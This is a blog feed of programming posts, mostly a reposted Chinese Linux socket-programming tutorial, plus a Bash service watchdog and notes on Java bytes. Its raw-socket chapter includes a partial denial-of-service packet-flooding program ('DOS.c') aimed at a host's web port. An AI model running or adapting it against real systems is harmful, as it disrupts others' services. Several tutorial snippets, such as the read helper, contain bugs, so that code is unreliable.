蜗牛的壳 - 编程
type: channel
link: https://snailium.net/tag/%E7%BC%96%E7%A8%8B/
items: 需要说一下，《Linux网络编程》并不是我原创
items: Bash编程笔记：swatchdog for WD-MBWE
items: Java中byte使用注意事项
items: Linux网络编程：11. 后记
items: Linux网络编程：10. 原始套接字
items: Linux网络编程：9. 服务器模型
items: Linux网络编程：8. 套接字选项
items: Linux网络编程：7. TCP/IP协议
items: Linux网络编程：6. 高级套接字函数
items: Linux网络编程：5. 用户数据报发送
items: Linux网络编程：4. 完整的读写函数
items: Linux网络编程：3. 服务器和客户机的信息函数
items: Linux网络编程：2. 初等网络函数介绍（TCP）
items: Linux网络编程：1. Linux网络知识介绍

需要说一下，《Linux网络编程》并不是我原创
type: item
date: 2008-05-22T23:36:08-04:00
description: 偶然间发现 CSDN 上有人放出《Linux网络编程》，原作者写的是 snailium。估计这位朋友从我的网站上看到，以为是我写的。实际上全套《Linux网络编程》是从《永远的Linux》网站上转载的。这个我已经在第一章的介绍里说明了。转载的目的是方便我个人和我老婆查资料。

Bash编程笔记：swatchdog for WD-MBWE
type: item
date: 2008-03-01T21:23:55-05:00
description: Linux BusyBox 果真是个强大的东西。只要想做，什么都能做出来。正好最近正愁 My Book 的服务总是莫名其妙的挂掉，搞的在单位都无法访问文件。操起简单的 vi，开始制作 Bash Watchdog。（之所以没用 Perl，是考虑到 Perl 在预编译的时候比较耗费系统资源）经过三个小时的现学现卖，雏形版的 Bash Watchdog - swatchdog 出炉。[code lang="bash" title="/usr/sbin/swatchdog"] #! /bin/bash # # Watchdog for system service #while [ 0 ] do for PROC do PID=`ps -aef | grep -v grep | grep -v swatchdog | grep "$PROC"` if [ -z "$PID" ] ; then TIME=`date "+%Y-%m-%d %H:%M:%S %Z"` echo "[$TIME] $PROC is not found, rebooting..." >> /etc/swatchdog/reboot.log reboot exit 1; fi done sleep 600 doneexit 0; [/code]原理很简单，无限循环，检查命令行传入的进程是否存在。如果不存在则重启。使用也很简单。[code lang="bash"] swatchdog cvm transmission amuled [/code]自动侦测 cvm（mionet）、transmission 和 amuled。

Java中byte使用注意事项
type: item
date: 2007-07-13T00:15:45-04:00
description: 目前在做的SYSC 3303 Project是关于使用Java编写TFTP服务器/客户端。其中Java的发送数据包要用byte数组。凭着C语言的扎实基础，想当然的认为byte就是8位无符号整数。于是每一个数据包都由String转为byte发送。但是，问题出现了。在发送ACK和DATA包时，传出的Block #有一部分不正确（例如：65535）。调试的时候显示在创建数据包的时候数据为0xFF_0xFF（65535），但是接收到的数据为0x3F_0x3F（16191）。看了一下Java Specification，发现在Java中byte和int都是带符号的整数（signed integer），而且唯一的无符号整数（unsigned integer）是char。再往下看，原来char是按照UTF-16编码储存的（16位无符号整数）。郁闷啊。接下来的工作就是查怎样从byte转换到int。因为带符号整数都是要做带符号扩展（signed extend），也就是说值为0xFF的byte在转成int之后，值为0xFFFFFFFF。终于在网上查到byte与int无符号转换方法，如下：[code lang="java"] int firstByte = 0; int secondByte = 0; int thirdByte = 0; int fourthByte = 0;firstByte = (0x000000FF & ((int)buf[index])); secondByte = (0x000000FF & ((int)buf[index+1])); thirdByte = (0x000000FF & ((int)buf[index+2])); fourthByte = (0x000000FF & ((int)buf[index+3]));long anUnsignedInt = 0;buf[0] = (anUnsignedInt & 0xFF000000L) >> 24; buf[1] = (anUnsignedInt & 0x00FF0000L) >> 16; buf[2] = (anUnsignedInt & 0x0000FF00L) >> 8; buf[3] = (anUnsignedInt & 0x000000FFL); [/code]但是，问题并没有解决。看来不是cast问题。猛然醒悟，原来是从String转成byte的时候出问题了！看来整个Class都要修改了，再次郁闷一下。总结：Java去掉了无符号的整数，据说本意是为了简化编程，但是事实上在做网络程序时，我们需要应用大量的无符号整数。另外，Java的一些内部机制也会对编程造成困惑，例如从String生成byte数组的算法。但是这些特别的地方一般的教授或者教材并不作介绍。因此，Java特别适合做Top-level程序（最高等级，即应用程序级）。最后的一点个人总结：我这个智商没办法凌驾于Java之上，最多也就只能用用C语言了……注：有关Java中unsigned number的详见 http://darksleep.com/player/JavaAndUnsignedTypes.html

Linux网络编程：11. 后记
type: item
date: 2006-03-01T19:22:24-05:00
description: 总算完成了网络编程这个教程。算起来我差不多写了一个星期，原来以为写这个应该是一件不难的事，做起来才知道原来有很多的地方都比我想象的要难。我还把很多的东西都省略掉了。不过写完了这篇教程以后，我好象对网络的认识又增加了一步。如果我们只是编写一般的网络程序还是比较容易的，但是如果我们想写出比较好的网络程序我们还有着遥远的路要走。网络程序一般的来说都是多进程加上多线程的。为了处理好他们内部的关系，我们还要学习进程之间的通信。在网络程序里面有着许许多多的突发事件，为此我们还要去学习更高级的事件处理知识。现在的信息越来越多了，为了处理好这些信息，我们还要去学习数据库。如果要编写出有用的黑客软件，我们还要去熟悉各种网络协议。总之我们要学的东西还很多很多。看一看外国的软件水平，看一看印度的软件水平，宝岛台湾的水平，再看一看我们自己的软件水平大家就会知道了什么叫做差距。我们现在用的软件有几个是我们中国人自己编写的。不过大家不要害怕，不用担心。只要我们还是清醒的，还能够认清我们和别人的差距，我们就还有希望。毕竟我们现在还年轻，只要我们努力，认真的去学习，我们一定能够学好的。我们就可以追上别人直到超过别人！相信一点： 别人可以做到的我们一样可以做到，而且可以比别人做的更好！勇敢的年轻人，为了我们伟大祖国的软件产业，为了祖国的未来，努力的去奋斗吧！祖国会记住你们的！

Linux网络编程：10. 原始套接字
type: item
date: 2006-03-01T19:14:16-05:00
description: 我们在前面已经学习过了网络程序的两种套接字（SOCK_STREAM、SOCK_DRAGM）。在这一章里面，我们一起来学习另外一种套接字——原始套接字（SOCK_RAW）。应用原始套接字，我们可以编写出由TCP和UDP套接字不能够实现的功能。注意原始套接字只能够由有root权限的人创建。10.1 原始套接字的创建[code lang="c"]int sockfd(AF_INET, SOCK_RAW, protocol)[/code]可以创建一个原始套接字。根据协议的类型不同我们可以创建不同类型的原始套接字，比如：IPPROTO_ICMP、IPPROTO_TCP、IPPROTO_UDP等等。详细的情况查看下面我们以一个实例来说明原始套接字的创建和使用。10.2 一个原始套接字的实例还记得DOS是什么意思吗？在这里我们就一起来编写一个实现DOS的小程序。下面是程序的源代码：[code lang="c"] /******************** DOS.c *****************/ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <stdlib.h> #include <errno.h> #include <unistd.h> #include <stdio.h> #include <netdb.h>#define DESTPORT 80 /* 要攻击的端口(WEB) */ #define LOCALPORT 8888void send_tcp(int sockfd, struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr, int len);int main(int argc, char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1;if(argc!=2) { fprintf(stderr, "Usage:%s hostname\n\a", argv[0]); exit(1); }bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT);if(inet_aton(argv[1], &addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); }/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/ sockfd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sockfd<0) { fprintf(stderr, "Socket Error:%s\n\a", strerror(errno)); exit(1); }/******** 设置IP数据包格式，告诉系统内核模块IP数据包由我们自己来填写 ***/ setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));/**** 没有办法，只用超级护用户才可以使用原始套接字 *********/ setuid(getpid());/********* 发送炸弹了！！！ ****/ send_tcp(sockfd, &addr); }/******* 发送炸弹的实现 *********/ void send_tcp(int sockfd, struct sockaddr_in *addr) { char buffer[100]; /**** 用来放置我们的数据包 ****/ struct ip *ip; struct tcphdr *tcp; int head_len;/******* 我们的数据包实际上没有任何内容，所以长度就是两个结构的长度 ***/ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100);/******** 填充IP数据包的头部，还记得I…

Linux网络编程：9. 服务器模型
type: item
date: 2006-03-01T18:54:59-05:00
description: 学习过《软件工程》吧？软件工程可是每一个程序员“必修”的课程啊。如果你没有学习过，建议你去看一看。在这一章里面，我们一起来从软件工程的角度学习网络编程的思想。在我们写程序之前，我们都应该从软件工程的角度规划好我们的软件，这样我们开发软件的效率才会高。在网络程序里面，一般的来说都是许多客户机对应一个服务器。为了处理客户机的请求，对服务端的程序就提出了特殊的要求。我们学习一下目前最常用的服务器模型。循环服务器：循环服务器在同一个时刻只可以响应一个客户端的请求。 并发服务器：并发服务器在同一个时刻可以响应多个客户端的请求。9.1 循环服务器：UDP服务器UDP循环服务器的实现非常简单：UDP服务器每次从套接字上读取一个客户端的请求，处理，然后将结果返回给客户机。可以用下面的算法来实现：[code lang="c"] socket(...); bind(...); while(1) { recvfrom(...); process(...); sendto(...); } [/code]因为UDP是非面向连接的，没有一个客户端可以老是占住服务端。只要处理过程不是死循环，服务器对于每一个客户机的请求总是能够满足。9.2 循环服务器：TCP服务器TCP循环服务器的实现也不难：TCP服务器接受一个客户端的连接，然后处理，完成了这个客户的所有请求后，断开连接。算法如下：[code lang="c"] socket(...); bind(...); listen(...); while(1) { accept(...); while(1) { read(...); process(...); write(...); } close(...); } [/code]TCP循环服务器一次只能处理一个客户端的请求。只有在这个客户的所有请求都满足后，服务器才可以继续后面的请求。这样如果有一个客户端占住服务器不放时，其它的客户机都不能工作了。因此，TCP服务器一般很少用循环服务器模型的。9.3 并发服务器：TCP服务器为了弥补循环TCP服务器的缺陷，人们又想出了并发服务器的模型。并发服务器的思想是每一个客户机的请求并不由服务器直接处理，而是服务器创建一个子进程来处理。算法如下：[code lang="c"] socket(...); bind(...); listen(...); while(1) { accept(...); if(fork(..)==0) { while(1) { read(...); process(...); write(...); } close(...); exit(...); } close(...); } [/code]TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况。不过也同时带来了一个不小的问题。为了响应客户机的请求，服务器要创建子进程来处理。而创建子进程是一种非常消耗资源的操作。9.4 并发服务器：多路复用I/O为了解决创建子进程带来的系统资源消耗，人们又想出了多路复用I/O模型。首先介绍一个函数 select：[code lang="c" light="true"] int select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *except fds, struct timeval *timeout) void FD_SET(int fd, fd_set *fdset) void FD_CLR(int fd, fd_set *fdset) void FD_ZERO(fd_set *fdset) int FD_ISSET(int fd, fd_set *fdset) [/code]一般的来说当我们在向文件读写时，进程有可能在读写出阻塞，直到一定的条件满足。比如我们从一个套接字读数据时，可能缓冲区里面没有数据可读（通信的对方还没有发送数据过来），这个时候我们的读调用就会等待（阻塞）直到有数据可读。如果我们不希望阻塞，我们的一个选择是用 select 系统调用。只要我们设置好 select 的各个参数，那么当文件可以读写的时候 select 回“通知”我们，说可以读写了。 readfds：所有要读的文件文件描述符的集合。 writefds：所有要的写文件文件描述符的集合。 exceptfds：其他的服要向我们通知的文件描述符。 timeout：超时设置。 nfds：所有我们监控的文件描述符中最大的那一个加1。 在我们调用 select 时进程会一直阻塞直到以下的一种情况发生： 1) 有文件可以读； 2) 有文件可以写； 3) 超时所设置的时间到。为了设置文件描述符我们要使用几个宏。 FD_SET：将 fd 加入到 fdset。 FD_CLR：将 …

Linux网络编程：8. 套接字选项
type: item
date: 2006-03-01T18:21:56-05:00
description: 8.1 getsockopt和setsockopt[code lang="c" light="true"] int getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen) int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t *optlen) [/code] level 指定控制套接字的层次。可以取三种值： 1) SOL_SOCKET：通用套接字选项； 2) IPPROTO_IP：IP选项； 3) IPPROTO_TCP：TCP选项。 optname 指定控制的方式（选项的名称），我们下面详细解释。 optval 获得或者是设置套接字选项。根据选项名称的数据类型进行转换。 ==================================================== 选项名称 说明 数据类型 ==================================================== SOL_SOCKET ---------------------------------------------------- SO_BROADCAST 允许发送广播数据 int SO_DEBUG 允许调试 int SO_DONTROUTE 不查找路由 int SO_ERROR 获得套接字错误 int SO_KEEPALIVE 保持连接 int SO_LINGER 延迟关闭连接 struct linger SO_OOBINLINE 带外数据放入正常数据流 int SO_RCVBUF 接收缓冲区大小 int SO_SNDBUF 发送缓冲区大小 int SO_RCVLOWAT 接收缓冲区下限 int SO_SNDLOWAT 发送缓冲区下限 int SO_RCVTIMEO 接收超时 struct timeval SO_SNDTIMEO 发送超时 struct timeval SO_REUSERADDR 允许重用本地地址和端口 int SO_TYPE 获得套接字类型 int SO_BSDCOMPAT 与BSD系统兼容 int ==================================================== IPPROTO_IP ---------------------------------------------------- IP_HDRINCL 在数据包中包含IP首部 int IP_OPTINOS IP首部选项 int IP_TOS 服务类型 int IP_TTL 生存时间 int ==================================================== IPPRO_TCP ---------------------------------------------------- TCP_MAXSEG TCP最大数据段的大小 int TCP_NODELAY 不使用Nagle算法 int ==================================================== 关于这些选项的详细情况请查看 Linux Programmer's Manual。8.2 ioctlioctl 可以控制所有的文件描述符的情况，这里介绍一下控制套接字的选项。[code lang="c" light="true"]int ioctl(int fd, int req,...)[/code] ==================================================== ioctl的控制选项 ---------------------------------------------------- SIOCATMARK 是否到达带外标记 int FIOASYNC 异步输入/输出标志 int FIONREAD 缓冲区可读的字节数 int ==================================================== 详细的选项请用 man ioctl_list 查看。

Linux网络编程：7. TCP/IP协议
type: item
date: 2006-03-01T17:22:26-05:00
description: 7.1 网络传输分层如果你考过计算机等级考试，那么你就应该已经知道了网络传输分层这个概念。在网络上，人们为了传输数据时的方便，把网络的传输分为7个层次，分别是：应用层、表示层、会话层、传输层、网络层、数据链路层和物理层。分好了层以后，传输数据时，上一层如果要数据的话，就可以直接向下一层要了，而不必要管数据传输的细节；下一层也只向它的上一层提供数据，而不要去管其它东西了。如果你不想考试，你没有必要去记这些东西的。只要知道是分层的，而且各层的作用不同。7.2 IP协议IP协议是在网络层的协议。它主要完成数据包的发送作用。下面这个表是IP4的数据包格式： 0 4 8 16 32 +--------+--------+--------+------------------------+ | 版本 |首部长度|服务类型| 数据包总长 | +--------+--------+--------+---+---+----------------+ | 标识 |DF |MF | 碎片偏移 | +-----------------+--------+---+---+----------------+ | 生存时间 | 协议 | 首部较验和 | +-----------------+--------+------------------------+ | 源IP地址 | +---------------------------------------------------+ | 目的IP地址 | +---------------------------------------------------+ | 选项 | +===================================================+ | 数据 | +---------------------------------------------------+ 下面我们看一看IP的结构定义：[code lang="c" light="true"] struct ip { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ip_hl:4; /* header length */ unsigned int ip_v:4; /* version */ #endif #if __BYTE_ORDER == __BIG_ENDIAN unsigned int ip_v:4; /* version */ unsigned int ip_hl:4; /* header length */ #endif u_int8_t ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_int8_t ip_ttl; /* time to live */ u_int8_t ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src, ip_dst; /* source and dest address */ }; [/code] ip_vIP：协议的版本号，这里是4，现在IPV6已经出来了。 ip_hlIP：包首部长度，这个值以4字节为单位。IP协议首部的固定长度为20个字节，如果IP包没有选项，那么这个值为5。 ip_tos：服务类型，说明提供的优先权。 ip_len：说明IP数据的长度，以字节为单位。 ip_id：标识这个IP数据包。 ip_off：碎片偏移，这和上面ID一起用来重组碎片的。 ip_ttl：生存时间，每经过一个路由的时候减一，直到为0时被抛弃。 ip_p：协议，表示创建这个IP数据包的高层协议，如TCP、UDP协议。 ip_sum：首部校验和，提供对首部数据的校验。 ip_src、ip_dst：发送者和接收者的IP地址。 关于IP协议的详细情况,请参考RFC791。7.3 ICMP协议ICMP是消息控制协议，也…

Linux网络编程：6. 高级套接字函数
type: item
date: 2006-03-01T16:35:50-05:00
description: 在前面的几个部分里面，我们已经学会了怎么样从网络上读写信息了。前面的一些函数(read,write)是网络程序里面最基本的函数，也是最原始的通信函数。这一章我们学习另外几个读写函数。6.1 recv和sendrecv 和 send 函数提供了和 read 和 write 差不多的功能。不过它们提供了第四个参数来控制读写操作。[code lang="c" light="true"] int recv(int sockfd, void *buf, int len, int flags) int send(int sockfd, void *buf, int len, int flags) [/code]前面的三个参数和 read、write 一样，第四个参数可以是0或者是以下的组合 +-----------------------+--------------------------------------------+ | MSG_DONTROUTE | 不查找路由表 | | MSG_OOB | 接受或者发送带外数据 | | MSG_PEEK | 查看数据，并不从系统缓冲区移走数据 | | MSG_WAITALL | 等待所有数据 | +-----------------------+--------------------------------------------+ MSG_DONTROUTE：是 send 函数使用的标志。这个标志告诉IP协议，目的主机在本地网络上面，没有必要查找路由表。这个标志一般用网络诊断和路由程序里面。 MSG_OOB：表示可以接收和发送带外的数据。关于带外数据我们以后会解释的。 MSG_PEEK：是 recv 函数的使用标志，表示只是从系统缓冲区中读取内容，而不清除系统缓冲区的内容。这样下次读的时候，仍然是一样的内容。一般在有多个进程读写数据时可以使用这个标志。 MSG_WAITALL：是 recv 函数的使用标志，表示等到所有的信息到达时才返回。使用这个标志的时候 recv 回一直阻塞，直到指定的条件满足，或者是发生了错误。 1) 当读到了指定的字节时，函数正常返回。返回值等于 len。 2) 当读到了文件的结尾时，函数正常返回。返回值小于 len。 3) 当操作发生错误时，返回 -1，且设置错误为相应的错误号(errno)如果 flags 为0，则和 read、write 一样的操作。还有其它的几个选项，不过我们实际上用的很少，可以查看Linux Programmer's Manual得到详细解释。6.2 recvfrom和sendto这两个函数一般用在非套接字的网络程序当中(UDP)，我们已经在前面学会了。6.3 recvmsg和sendmsgrecvmsg 和 sendmsg 可以实现前面所有的读写函数的功能。[code lang="c" light="true"] int recvmsg(int sockfd, struct msghdr *msg, int flags) int sendmsg(int sockfd, struct msghdr *msg, int flags) [/code][code lang="c" light="true"] struct msghdr { void *msg_name; int msg_namelen; struct iovec *msg_iov; int msg_iovlen; void *msg_control; int msg_controllen; int msg_flags; } [/code][code lang="c" light="true"] struct iovec { void *iov_base; /* 缓冲区开始的地址 */ size_t iov_len; /* 缓冲区的长度 */ } [/code] msg_name 和 msg_namelen：当套接字是非面向连接时(UDP)，它们存储接收和发送方的地址信息。msg_name 实际上是一个指向 struct sockaddr 的指针，msg_namelen 是结构的长度。当套接字是面向连接时，这两个值应设为 NULL。 msg_iov 和 msg_iovlen：指出接受和发送的缓冲区内容。msg_iov 是一个结构指针，msg_iovlen 指出这个结构数组的大小。 msg_control 和 msg_controllen：这两个变量是用来接收和发送控制数据时的 msg_flags 指定接受和发送的操作选项。和 recv、send 的选项一样。 6.4 套接字的关闭关闭套接字有两个函数 close 和 shutdown。用 close 时和我们关闭文件一样。6.5…

Linux网络编程：5. 用户数据报发送
type: item
date: 2006-03-01T16:18:40-05:00
description: 我们前面已经学习网络程序的一个很大的部分。由这个部分的知识，我们实际上可以写出大部分的基于TCP协议的网络程序了。现在在Linux下的大部分程序都是用我们上面所学的知识来写的。我们可以去找一些源程序来参考一下。这一章，我们简单的学习一下基于UDP协议的网络程序。5.1 两个常用的函数[code lang="c" light="true"] int recvfrom(int sockfd, void *buf, int len, unsigned int flags, struct sockaddr *from, int fromlen) int sendto(int sockfd, const void *msg, int len, unsigned int flags, struct sockaddr *to, int tolen) [/code]sockfd、buf、len 的意义和 read、write 一样，分别表示套接字描述符、发送或接收的缓冲区及大小。recvfrom 负责从 sockfd 接收数据，如果 from 不是 NULL，那么在 from 里面存储了信息来源的情况。如果对信息的来源不感兴趣，可以将 from 和 fromlen 设置为 NULL。sendto 负责向 to 发送信息。此时在 to 里面存储了收信息方的详细资料。5.2 一个实例[code lang="c"] /* 服务端程序 server.c */#include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <errno.h> #define SERVER_PORT 8888 #define MAX_MSG_SIZE 1024void udps_respon(int sockfd) { struct sockaddr_in addr; int addrlen,n; char msg[MAX_MSG_SIZE];while(1) { /* 从网络上读，写到网络上面去 */ n=recvfrom(sockfd, msg, MAX_MSG_SIZE, 0, (struct sockaddr*)&addr, &addrlen); msg[n]=0; /* 显示服务端已经收到了信息 */ fprintf(stdout, "I have received %s", msg); sendto(sockfd, msg, n, 0, (struct sockaddr*)&addr, addrlen); } }int main(void) { int sockfd; struct sockaddr_in addr;sockfd=socket(AF_INET, SOCK_DGRAM, 0); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n",strerror(errno)); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_addr.s_addr=htonl(INADDR_ANY); addr.sin_port=htons(SERVER_PORT); if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0) { fprintf(stderr,"Bind Error:%s\n",strerror(errno)); exit(1); } udps_respon(sockfd); close(sockfd); } [/code][code lang="c"] /* 客户端程序 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <stdio.h> #include <unistd.h> #define MAX_BUF_SIZE 1024void udpc_requ(int sockfd, const struct sockaddr_in *addr, int len) { char buffer[MAX_BUF_SIZE]; int n; while(1) { /* 从键盘读入，写到服务端 */ fgets(buffer, MAX_BUF_SIZE, stdin); sendto(sockfd, buffer, strlen(buff…

Linux网络编程：4. 完整的读写函数
type: item
date: 2006-03-01T16:02:02-05:00
description: 4.1 写函数write[code lang="c" light="true"]ssize_t write(int fd,const void *buf,size_t nbytes)[/code]write 函数将 buf 中的 nbytes 字节内容写入文件描述符 fd。成功时返回写的字节数，失败时返回 -1，并设置 errno 变量。在网络程序中,当我们向套接字文件描述符写时有俩种可能： 1) write 的返回值大于0，表示写了部分或者是全部的数据； 2) 返回的值小于0，此时出现了错误，我们要根据错误类型来处理。如果错误为 EINTR 表示在写的时候出现了中断错误。如果为 EPIPE 表示网络连接出现了问题（对方已经关闭了连接）。为了处理以上的情况，我们自己编写一个写函数：[code lang="c"] int my_write(int fd, void *buffer, int length) { int bytes_left; int written_bytes; char *ptr;ptr=buffer; bytes_left=length; while(bytes_left>0) { /* 开始写 */ written_bytes=write(fd, ptr, bytes_left); if(written_bytes<=0) /* 出错了*/ { if(errno==EINTR) /* 中断错误 我们继续写 */ written_bytes=0; else /* 其他错误 没有办法,只好撤退了 */ return(-1); } bytes_left-=written_bytes; ptr+=written_bytes; /* 从剩下的地方继续写 */ } return(0); } [/code]4.2 读函数read[code lang="c" light="true"]ssize_t read(int fd,void *buf,size_t nbyte)[/code]read 函数是负责从 fd 中读取内容。当读成功时，read 返回实际所读的字节数。如果返回的值是0，表示已经读到文件的结束了。小于0表示出现了错误。如果错误为 EINTR 说明读是由中断引起的，如果是 ECONNREST 表示网络连接出了问题。和上面一样，我们也写一个自己的读函数：[code lang="c"] int my_read(int fd, void *buffer, int length) { int bytes_left; int bytes_read; char *ptr;bytes_left=length; while(bytes_left>0) { bytes_read=read(fd,ptr,bytes_read); if(bytes_read<0) { if(errno==EINTR) bytes_read=0; else return(-1); } else if(bytes_read==0) break; bytes_left-=bytes_read; ptr+=bytes_read; } return(length-bytes_left); } [/code]4.3 数据的传递有了上面的两个函数，我们就可以向客户端或者是服务端传递数据了。比如我们要传递一个结构。可以使用如下方式：[code lang="c"] /* 客户端向服务端写 */ struct my_struct my_struct_client; write(fd,(void *)&my_struct_client,sizeof(struct my_struct); [/code][code lang="c"] /* 服务端的读 */ char buffer[sizeof(struct my_struct)]; struct *my_struct_server; read(fd,(void *)buffer,sizeof(struct my_struct)); my_struct_server=(struct my_struct *)buffer; [/code]在网络上传递数据时我们一般都是把数据转化为 char 类型的数据传递。接收的时候也是一样的。注意的是我们没有必要在网络上传递指针（因为传递指针是没有任何意义的），我们必须传递指针所指向的内容。

Linux网络编程：3. 服务器和客户机的信息函数
type: item
date: 2006-03-01T15:47:18-05:00
description: 3.1 字节转换函数在网络上面有着许多类型的机器，这些机器在表示数据的字节顺序是不同的，比如i386芯片是低字节在内存地址的低端，高字节在高端，而alpha芯片却相反。为了统一起来，在Linux下面，有专门的字节转换函数。[code lang="c" light="true"] unsigned long int htonl(unsigned long int hostlong) unsigned short int htons(unisgned short int hostshort) unsigned long int ntohl(unsigned long int netlong) unsigned short int ntohs(unsigned short int netshort) [/code]在这四个转换函数中，h 代表 host，n 代表 network，s 代表 short，l 代表 long。第一个函数的意义是将本机器上的long数据转化为网络上的long。其他几个函数的意义也差不多。3.2 IP和域名的转换在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢？[code lang="c" light="true"] struct hostent *gethostbyname(const char *hostname) struct hostent *gethostbyaddr(const char *addr,int len,int type) [/code]在中有struct hostent的定义：[code lang="c" light="true"] struct hostent { char *h_name; /* 主机的正式名称 */ char *h_aliases; /* 主机的别名 */ int h_addrtype; /* 主机的地址类型 AF_INET*/ int h_length; /* 主机的地址长度 对于IP4 是4字节32位*/ char **h_addr_list; /* 主机的IP地址列表 */ } [/code][code lang="c" light="true"] #define h_addr h_addr_list[0] /* 主机的第一个IP地址*/ [/code]gethostbyname可以将机器名（如linux.yessun.com）转换为一个结构指针。在这个结构里面储存了域名的信息。gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针。这两个函数失败时返回 NULL，且设置 h_errno错误变量，调用 h_strerror()可以得到详细的出错信息。3.3 字符串的IP和32位的IP转换在网络上面我们用的IP都是数字加点(192.168.0.1)构成的，而在struct in_addr结构中用的是32位的IP，我们上面那个32位IP(C0A80001)是192.168.0.1。为了转换我们可以使用下面两个函数：[code lang="c" light="true"] int inet_aton(const char *cp,struct in_addr *inp) char *inet_ntoa(struct in_addr in) [/code]函数里面 a 代表 ascii，n 代表network。第一个函数表示将a.b.c.d的IP转换为32位的IP，存储在inp指针里面。第二个是将32位IP转换为a.b.c.d的格式。3.4 服务信息函数在网络程序里面我们有时候需要知道端口、IP和服务信息。这个时候我们可以使用以下几个函数：[code lang="c" light="true"] int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen) int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen) struct servent *getservbyname(const char *servname,const char *protoname) struct servent *getservbyport(int port,const char *protoname) [/code][code lang="c" light="true"] struct servent { char *s_name; /* 正式服务名 */ char **s_aliases; /* 别名列表 */ int s_port; /* 端口号 */ char *s_proto;…

Linux网络编程：2. 初等网络函数介绍（TCP）
type: item
date: 2006-03-01T15:24:35-05:00
description: Linux系统是通过提供套接字(socket)来进行网络编程的。网络程序通过socket和其它几个函数的调用，会返回一个通讯的文件描述符，我们可以将这个描述符看成普通的文件的描述符来操作，这就是linux的设备无关性的好处。我们可以通过向描述符读写操作实现网络之间的数据交流。2.1 socket[code lang="c" light="true"]int socket(int domain, int type, int protocol)[/code] domain：说明我们网络程序所在的主机采用的通讯协族（AF_UNIX和AF_INET等）。AF_UNIX只能够用于单一的Unix系统进程间通信，而AF_INET是针对Internet的，因而可以允许在远程主机之间通信（当我们man socket时发现，domain可选项是PF_*而不是AF_*，因为glibc是posix的实现，所以用PF代替了AF，不过我们都可以使用的）。 type：我们网络程序所采用的通讯协议（SOCK_STREAM、SOCK_DGRAM等）。SOCK_STREAM表明我们用的是TCP协议，这样会提供按顺序的、可靠、双向、面向连接的比特流。SOCK_DGRAM表明我们用的是UDP协议，这样只会提供定长的、不可靠、无连接的通信。 protocol：由于我们指定了type，所以这个地方我们一般只要用0来代替就可以了。 socket为网络通讯做基本的准备。成功时返回文件描述符，失败时返回-1，看errno可知道出错的详细情况。 2.2 bind[code lang="c" light="true"]int bind(int sockfd, struct sockaddr *my_addr, int addrlen)[/code] sockfd：是由socket调用返回的文件描述符。 addrlen：是sockaddr结构的长度。 my_addr：是一个指向sockaddr的指针。 在中有sockaddr的定义：[code lang="c" light="true"] struct sockaddr{ unisgned short as_family; char sa_data[14]; }; [/code]不过由于系统的兼容性，我们一般不用这个头文件，而使用另外一个结构(struct sockaddr_in)来代替。在中有sockaddr_in的定义：[code lang="c" light="true"] struct sockaddr_in{ unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; }; [/code]我们主要使用Internet所以sin_family一般为AF_INET，sin_addr设置为INADDR_ANY表示可以和任何的主机通信，sin_port是我们要监听的端口号。sin_zero[8]是用来填充的。 bind将本地的端口同socket返回的文件描述符捆绑在一起。成功时返回0，失败时返回-1。2.3 listen[code lang="c" light="true"]int listen(int sockfd,int backlog)[/code] sockfd：是bind后的文件描述符。 backlog：设置请求排队的最大长度。当有多个客户端程序和服务端相连时，使用这个表示可以接受的排队长度。 listen函数将bind的文件描述符变为监听套接字。成功时返回0，失败时返回-1。2.4 accept[code lang="c" light="true"]int accept(int sockfd, struct sockaddr *addr,int *addrlen)[/code] sockfd：是listen后的文件描述符。 addr、addrlen是用来给客户端的程序填写的，服务器端只要传递指针就可以了。 bind、listen和accept是服务器端用的函数。accept调用时，服务器端的程序会一直阻塞到有一个客户程序发出了连接。accept成功时返回最后的服务器端的文件描述符，这个时候服务器端可以向该描述符写信息了。失败时返回-1。2.5 connect[code lang="c" light="true"]int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)[/code] sockfd：socket返回的文件描述符。 serv_addr：储存了服务器端的连接信息。其中sin_add是服…

Linux网络编程：1. Linux网络知识介绍
type: item
date: 2006-03-01T14:56:01-05:00
